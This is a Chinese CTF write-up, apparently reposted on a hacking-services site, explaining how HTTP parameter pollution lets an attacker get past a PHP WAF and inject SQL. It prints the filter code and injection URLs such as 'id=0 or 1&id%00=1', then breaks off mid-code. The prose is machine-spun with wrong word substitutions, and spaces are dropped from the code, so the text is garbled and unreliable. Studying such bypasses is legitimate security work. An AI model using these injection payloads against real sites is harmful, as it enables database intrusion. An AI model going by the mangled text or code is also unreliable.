PHP的两个特性导致waf绕过注入

访客5年前黑客工具629

1、HPP HTTP参数污染
HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比方Apache就要以最终一个参数为准,比方:
user.php?id=111&id=222
假如输出$_GET数组,则id的值只会取222,即URL上提交的多余值覆盖了前一个值。
2、一个CTF标题
关于注入的waf绕过,注入点为:
$sql="select * from user where id=".$_REQUEST["id"].";";
能够看到了REQUEST进行传递,而且存在如下的waf代码:
    functionwaf($str) { 
        if(stripos($str,"select")!==false) 
            die("Be a good person!"); 
        if(stripos($str,"union")!==false) 
            die("Be a good person!"); 
        ...... 
    }   
      
    functionwafArr($arr) { 
        foreach($arras$k=> $v) { 
            waf($k); 
            waf($v); 
        } 
    }   
      
    wafArr($_GET); 
    wafArr($_POST); 
    wafArr($_COOKIE); 
    wafArr($_SESSION);  
      
    functionstripStr($str) { 
        if(get_magic_quotes_gpc()) 
            $str= stripslashes($str); 
        returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8')); 
    }   
      
    $uri= explode("?",$_SERVER['REQUEST_URI']); 
    if(isset($uri[1])) { 
        $parameter= explode("&",$uri[1]); 
        foreach($parameteras$k=> $v) { 
            $v1= explode("=",$v); 
            if(isset($v1[1])) { 
                $_REQUEST[$v1[0]] = stripStr($v1[1]); 
            } 
        } 
    }   
      
    functionstripArr($arr) { 
        $new_arr= array(); 
        foreach($arras$k=> $v) { 
            $new_arr[stripStr($k)] = stripStr($v); 
        } 
        return$new_arr; 
    }   
      
    $_GET=stripArr($_GET); 
    $_POST=stripArr($_POST); 
    $_COOKIE=stripArr($_COOKIE); 
    $_SESSION=stripArr($_SESSION);
这儿运用了waf函数分别对GET POST SESSION COOKIE数据进行过滤,而且对这些大局数组进行转义。
值得注意的是,这儿的$_REQUEST是代码中从头依据$_SERVER[‘REQUEST_URI’]进行拼接,在拼接过程中将参数值进行转义操作。
(1)思路1  运用HPP特性
看似不太可能存在注入,可是运用HPP能够完成。
示例代码:
user.php?id=0 or 1&id%00=1 
user.php?id=0 or 1&%20id=1 
user.php?id=0 or 1?&id=1
测验代码:
      
    function stripArr($arr) { 
        $new_arr = array(); 
        foreach ($arr as $k => $v) { 
            $new_arr[stripStr($k)] = stripStr($v); 
        } 
        return $new_arr; 
    } 
     
    function stripStr($str) { 
        if (get_magic_quotes_gpc()) 

[1] [2]  黑客接单网

相关文章

怎么打造“钢筋混凝土”型的网络环境

简化、优化你的补丁办理 许多进犯机制,都是针对未修补的体系。所以,不论你的网络是否对外开放,都应该定时更新操作体系和应用程序。尽管这个主张归于陈词滥调,但从另一个旁边面也说明晰该主张的重要性。 关于W...

那些年挖过的SRC之我是捡漏王

输出这篇文章的意图也是为了很多人在挖洞时,看到其他大佬钱拿的不要不要的时分,只能在咱们自己自己电脑面前束手无策,这篇文章也是为了带咱们翻开新的思路。 俗话说得好,“不是你套路不行深,是你的根底不行厚...

深化了解Json Web Token之实战篇

原本想用python DRF 的 JWT做,后来各种失利。终究尝试了用Php,发现十分便当。 PHP 版别 PHP 7.2.4-1+b2 (cli),也便是kali linux自带的php,至于com...

javaweb的常见web缝隙

 0x01 前语 材料来历: http://javaweb.org/?p=567 http://zone.wooyun.org/content/19379 http://drops.wooyun.or...

某入群题之指令履行字符约束绕过(WEB100)

某入群题又来啦!因为之前刚好做了下hitcon的两个指令履行绕过,问了下pcat能不能写这篇文章。然后他说随意我…..这儿就记载一下。看题! 相似前次的两题,仅仅这次字符长度约束变成了20。心中一喜,...

换个视点看看,为什么垂钓进犯总能成功

当我榜首次收到银行发来的“安全”邮件时,我榜首反响便是这儿是否有诈?由于在我看来,它实在是太像垂钓邮件了。这封躺在收件箱里的邮件来历于我银行司理的个人邮箱地址,而非Chase银行的官方邮箱。邮件中不...